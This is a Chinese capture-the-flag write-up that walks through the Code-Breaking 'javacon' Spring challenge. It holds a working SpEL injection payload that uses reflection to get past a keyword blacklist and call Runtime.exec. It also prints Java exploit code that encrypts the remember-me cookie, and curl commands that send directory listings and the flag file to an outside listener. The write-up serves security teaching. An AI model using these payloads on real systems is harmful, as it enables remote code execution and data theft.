本文首发于合天智汇:

https://mp.weixin.qq.com/s/XWpe3OGwH1d9dYNMqfnyzA

0x01.环境准备

需要反编译的jar包如下所示

直接通过以下步骤将jar文件导入到idea中,就可以获得源码文件

如下所示我们就可以获得反编译后的几个重要的类和一些配置文件

0x02.题目分析

主要的逻辑在MainController类中

@GetMapping
public String admin(@CookieValue(value = "remember-me",required = false) String rememberMeValue, HttpSession session, Model model) {
if (rememberMeValue != null && !rememberMeValue.equals("")) {
String username = this.userConfig.decryptRememberMe(rememberMeValue);
if (username != null) {
session.setAttribute("username", username);
}
} Object username = session.getAttribute("username");
if (username != null && !username.toString().equals("")) {
model.addAttribute("name", this.getAdvanceValue(username.toString()));
return "hello";
} else {
return "redirect:/login";
}
}

从这一段代码可以看到此时将从cookie中获取remember-me的值赋给rememberMeValue,若其不为空,则调用userconfig类中的decryptRememberMe对其进行解密,解密的逻辑在BOOT-INF\classes\io\tricking\challenge\UserConfig.class,其中加密和解密调用主要为以下两个函数

而解密方法中用到了remembermekey,此key在appalication.yml中

解密方法也是自己定义的一个类中实现的:

import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory; public class Encryptor {
static Logger logger = LoggerFactory.getLogger(Encryptor.class); public Encryptor() {
} public static String encrypt(String key, String initVector, String value) {
try {
IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(1, skeySpec, iv);
byte[] encrypted = cipher.doFinal(value.getBytes());
return Base64.getUrlEncoder().encodeToString(encrypted);
} catch (Exception var7) {
logger.warn(var7.getMessage());
return null;
}
} public static String decrypt(String key, String initVector, String encrypted) {
try {
IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(2, skeySpec, iv);
byte[] original = cipher.doFinal(Base64.getUrlDecoder().decode(encrypted));
return new String(original);
} catch (Exception var7) {
logger.warn(var7.getMessage());
return null;
}
}
}

解密用到key,初始向量,以及密文,类SecretKeySpec根据提供的字节数组来生成指定算法的key,这里生成AES加密的密钥,类IvParameterSpec根据字节数组生成初始向量,Ciper类提供了java核心的加密解密算法体系,通过调用getInstance()方法我们就可以生成可以进行提供加密的对象,入口参数为我们需要使用的加密算法,以及对应的反馈模式以及填充模式,比如上面代码中的Cipher.getInstance("AES/CBC/PKCS5PADDING");,之后需要对该对象初始化,指定我们要进行的操作为加密或者解密,通过指定模式来定义,1为加密,2为解密,第二个参数即为密钥,第三个参数为我们指定的加密算法所需要的参数,AES加密需要初始的IV,这里我们传递一个IV进去,init初始结束以后,我们就可以进行解密操作,这里直接通过调用ciper.dofinal()方法来进行解密,然后返回字节数组存在original变量中转成字符串进行返回

之后讲从session中取出username,然后通过model.addAttribute()方法来设置model的键值,这里涉及到Spring MVC中Controller如何将数据返回给页面,

要实现Controller返回数据给页面,Spring MVC 提供了以下几种途径:
ModelAndView:将视图和数据封装成ModelAndView对象,作为方法的返回值,数据最终会存到HttpServletRequest对象中!
Model对象:通过给方法添加引用Model对象入参,直接往Model对象添加属性值。那么哪些类型的入参才能够引用Model对象,有三种类型,分别是org.springframework.ui.Model、org.springframework.ui.ModelMap 或 java.uti.Map。只要是这些类型的入参,都是指向Model对象的,而且不管定义多少个这些类型的入参都是指向同一个Model对象!
@SessionAttributes:通过给Controller类添加@SessionAttributes注解,该注解的name和value属性值都是Model的key值,意思是指Model中这些key对应的数据也会存到HttpSession,不仅仅存到HttpServletRequest对象中!这样页面可以共享HttpSession中存的数据了!
@ModelAttribute:使用@ModelAttribute注解的方法会在此Controller每个方法执行前被执行,指定@ModelAttribute的name或value都是一样的功能,都是作为key,将注解的方法返回的对象作为value存放到Model中,不指定name和value的话,则以注解的方法返回的类型名称首字母小写作为key。

除了上述的途径,也可以使用传统的方式,那就是直接使用HttpServletRequest或HttpSession对象来存数据,页面上再去取。

注意:Model中存的数据,最终都会存放到HttpServletRequest对象中,页面上可以通过HttpServletRequest对象获取数据。

而这里赋给name的值要经过getAdvanceValue()函数进行处理

    private String getAdvanceValue(String val) {
String[] var2 = this.keyworkProperties.getBlacklist();
int var3 = var2.length; for(int var4 = 0; var4 < var3; ++var4) {
String keyword = var2[var4];
Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
if (matcher.find()) {
throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
}
} ParserContext parserContext = new TemplateParserContext();
Expression exp = this.parser.parseExpression(val, parserContext);
SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
return exp.getValue(evaluationContext).toString();
}
}

首先定义var2变量为一些黑名单中的字符,然后通过循环判断解密以后的username中是否包含这些非法字符,这里通过正则来进行过滤,java正则表达式通过java.util.regex包下的Pattern类与Matcher类实现。

Pattern类用于创建一个正则表达式,也可以说创建一个匹配模式,它的构造方法是私有的,不可以直接创建,但可以通过Pattern.complie(String regex)简单工厂方法创建一个正则表达式,比如

Pattern p=Pattern.compile("exec");
p.pattern();

其中pattern() 返回正则表达式的字符串形式,也就是exec,所以这里就是将黑名单中的关键字依次进行字符串正则匹配,具体的黑名单在根据BOOT-INF/classes/io/tricking/challenge/KeyworkProperties.class中的定义可以在BOOT-INF/classes/application.yml中找到blacklist:

find()对字符串进行匹配,匹配到的字符串可以在任何位置

Pattern p=Pattern.compile("\\d+");
Matcher m=p.matcher("tr1ple2333");
m.find();//返回true

通过Pattern.compile(keyword, 34).matcher(val)就能够对username值进行匹配,如果没有匹配到黑名单的话接下来就要进行spel处理,这里介绍一下spel。Spring Expression Language(简称 SpEL)是一种功能强大的表达式语言、用于在运行时查询和操作对象图;语法上类似于 Unified EL,但提供了更多的特性,特别是方法调用和基本字符串模板函数。

通常使用SPEL求表达式的值时可以分为以下几步:

1.创建解析器:Spel 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现;

2.解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象。

其中var即为username的值,也就是我们可以注入的表达式,ParserContext 接口用于定义val所表示的字符串表达式是不是模板,及模板开始与结束字符,也就是我们注入的表达式以#{开头,以}结尾

3.构造上下文:准备比如变量定义等等表达式需要的上下文数据。

4.求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值。

至此为止,触发SPEL的基本逻辑我们已经清楚了,那么接下来只需要加payload进行加密,并赋给remember-me作为cookie发送即可,在构造payload之前我们需要知道spel是支持多种表达式的,我们通过通过Runtime.getruntime().exec()来执行命令,因此为了能够让spel执行exec()函数,我们可以使用类类型的表达式

使用T(Type)来表示java.lang.Class实例,"Type"必须是类全限定名,"java.lang"包除外,即该包下的类可以不指定包名;
使用类类型表达式还可以进行访问类静态方法及类静态字段。

根据blacklist的过滤,我们不能直接执行 Runtime.getruntime().exec(),但是我们可以使用反射的方法来执行exec函数,这里要用到多次反射,spel表达式的payload格式如下所示

我们知道通常一层反射有如下形式:

Class test = Test.class;
Method method= test.getMethod("hack",String.class);
String x = (String)method.invoke(new Test("tr1ple"),"23333");

其中test是一个类类型的对象,通过其我们可以访问类中定义的成员方法,Test是一个我们定义的类,我们想要执行该类的hack方法,通过以上三行就能够完成反射调用hack方法,其中23333为传入的hack方法的入口参数,回到Spel的payload的构造上,这里直接通过最外层的invoke函数来通过T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime'))反射出一个Runtime对象来执行exec函数,其中反射runtime对象的过程中又使用了一个invoke()来调用getruntime函数,从而能够成功返回Runtime对象,并且此时invoke的第二个参数即为command,也就是我们需要传给exec进行执行的命令,这样就能够利用字符串拼接成功绕过blacklist的过滤来执行命令。

0x03.题目复现

因为exec执行命令是没有回显的,因此我们curl将结果带出,首先执行

curl 192.168.127.129:2345/`ls / | base64 | tr "\n" *`

这里直接执行ls / base64将出现\n,因此用tr将\n替换成任意base64编码表以外的字符即可

因为源码中已经给出了encrypt方法,我们直接copy出来加密我们的payload即可

exp:

import javax.crypto.BadPaddingException;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import java.io.UnsupportedEncodingException;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec; class Encryptor{
public static String encrypt(String key, String initVector, String value){
try {
IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"),"AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(1, skeySpec, iv);
byte[] encrypted = cipher.doFinal(value.getBytes());
return Base64.getUrlEncoder().encodeToString(encrypted);
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
} catch (NoSuchPaddingException e) {
e.printStackTrace();
} catch (InvalidKeyException e) {
e.printStackTrace();
} catch (InvalidAlgorithmParameterException e) {
e.printStackTrace();
} catch (IllegalBlockSizeException e) {
e.printStackTrace();
} catch (BadPaddingException e) {
e.printStackTrace();
}
return null;
}
}
public class Main {
public static void main(String[] args) {
System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',T(String[])).invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime')), new String[]{'/bin/bash','-c','curl 192.168.127.129:2345/`ls /|base64|tr \"\n\" \"-\"`'})}")); }
}

burp中cookie添加remember-me的cookie

此时本地的2345端口将收到请求

此时解码就能看到flag文件了,此时只要继续加密curl 192.168.127.129:2345/`cat flag_j4v4_chun|base64`即可得到flag

继续加密第二条command并发送cookie,解码后就能获得flag

0x04.总结:

这道题涉及到spring spel表达式注入和payload构造中java反射,也学到了java开发中的很多东西,有兴趣的同学可以去复现https://github.com/phith0n/code-breaking

参考:

https://www.cnblogs.com/crazylqy/p/4313236.html

https://www.znlrs.cn/3147.html

https://xi4or0uji.github.io/2019/03/20/code-breaking-easy/#Javacon

java安全学习-Code-Breaking Puzzles-javacon详细分析的更多相关文章

  1. java SE学习之线程同步(详细介绍)

           java程序中可以允许存在多个线程,但在处理多线程问题时,必须注意这样一个问题:               当两个或多个线程同时访问同一个变量,并且一些线程需要修改这个变量时,那么这个 ...

  2. java基础--动态代理实现与原理详细分析

    关于Java中的动态代理,我们首先需要了解的是一种常用的设计模式--代理模式,而对于代理,根据创建代理类的时间点,又可以分为静态代理和动态代理. 一.代理模式                     ...

  3. Java ArrayList底层实现原理源码详细分析Jdk8

    简介 ArrayList是基于数组实现的,是一个动态数组,其容量能自动增长,类似于C语言中的动态申请内存,动态增长内存. ArrayList不是线程安全的,只能用在单线程环境下,多线程环境下可以考虑用 ...

  4. java基础学习05(面向对象基础01--类实例分析)

    面向对象基础01(类实例分析) 实现的目标 1.如何分析一个类(类的基本分析思路) 分析的思路 1.根据要求写出类所包含的属性2.所有的属性都必须进行封装(private)3.封装之后的属性通过set ...

  5. Java内部类持有外部类的引用详细分析与解决方案

    在Java中内部类的定义与使用一般为成员内部类与匿名内部类,他们的对象都会隐式持有外部类对象的引用,影响外部类对象的回收. GC只会回收没有被引用或者根集不可到达的对象(取决于GC算法),内部类在生命 ...

  6. Java的学习路线图

    在网上看到一个关于Java的学习路线图,个人感觉很详细.https://blog.csdn.net/s1547823103/article/details/79768938

  7. JAVA课程学习感想

    JAVA课程学习感想 在学习JAVA之前,我们学习了C语言,汇编语言,数据结构等等.虽然学习了这些,但对于JAVA来说,学习起来不是那么容易,所有的计算机语言有相似的地方,但他们更有不同的地方.对我来 ...

  8. 海思uboot启动流程详细分析(三)【转】

    1. 前言 书接上文(u-boot启动流程分析(二)_平台相关部分),本文介绍u-boot启动流程中和具体版型(board)有关的部分,也即board_init_f/board_init_r所代表的. ...

  9. java多线程学习笔记——详细

    一.线程类  1.新建状态(New):新创建了一个线程对象.        2.就绪状态(Runnable):线程对象创建后,其他线程调用了该对象的start()方法.该状态的线程位于可运行线程池中, ...

  10. 转:Java多线程学习(总结很详细!!!)

    Java多线程学习(总结很详细!!!) 此文只能说是java多线程的一个入门,其实Java里头线程完全可以写一本书了,但是如果最基本的你都学掌握好,又怎么能更上一个台阶呢? 本文主要讲java中多线程 ...

随机推荐

  1. Redis 简单使用 and 连接池(python)

    Redis 简介 NoSQL(not only sql):非关系型数据库 支持 key-value,  list,  set,  zset,  hash 等数据结构的存储:支持主从数据备份,集群:支持 ...

  2. 认识:before和:after伪类

    有时候,我们需要大量的重复代码去实现一个非常简单的功能,这不仅浪费时间,而且效率低下,例如: <div class="aa">你好</div><div ...

  3. vue-cli搭建vue项目环境

    该篇文章是继https://www.cnblogs.com/qing-5/p/11321585.html来写 1.打开终端,输入指令"npm install --global vue-cli ...

  4. 【转载】salesforce 零基础开发入门学习(四)多表关联下的SOQL以及表字段Data type详解

    salesforce 零基础开发入门学习(四)多表关联下的SOQL以及表字段Data type详解   建立好的数据表在数据库中查看有很多方式,本人目前采用以下两种方式查看数据表. 1.采用schem ...

  5. NUC970 Linux CAN 驱动问题及解决办法之一

    开发平台介绍: NUC970 + 内置CAN控制器(双通道CAN1\CAN2) + 官方Linux_Kernel(少量修改) 名词: 版本A,问题及修改涉及两个版本,其中最旧版本称为版本A 版本B,问 ...

  6. Java基础 IO流的文件和目录的五类主要操作

    笔记: /** IO流的 文件和目录的操作 * 1.路径需要 需要两个反斜杠 或者一个单斜杠! * 绝对路径:包括盘符在内的完整的路径名! * 相对路径:在当前目录文件下的路径! * 2.File 是 ...

  7. ZZNU-OJ-2118 -(台球桌面碰来碰去,求总距离)——模拟到爆炸【超时】的不能AC的代码

    ZZNU-2118 : 早安晚安,不如我先入土为安 题目描述 spring比较喜欢玩台球,因为看着台球在桌子上碰来碰去很有意思(台球撞壁反弹,入射角等于反射角),每次完美的台球入洞,都能体现他数学天才 ...

  8. mysql 5.7 版本 You must reset your password using ALTER USER statement before executing this statement报错处理

    https://blog.csdn.net/muziljx/article/details/81541896 MySQL版本5.7.6版本开始的用户可以使用如下命令: mysql> ALTER ...

  9. css引用优先级

    /***************************************css注意事项*******************************************/ 浏览器优先级:设 ...

  10. Codeforces Round #470 (rated, Div. 1, based on VK Cup 2018 Round 1) 923D 947D 948E D. Picking Strings

    题: OvO http://codeforces.com/contest/947/problem/D 923D 947D 948E 解: 记要改变的串为 P1 ,记目标串为 P2  由变化规则可得: ...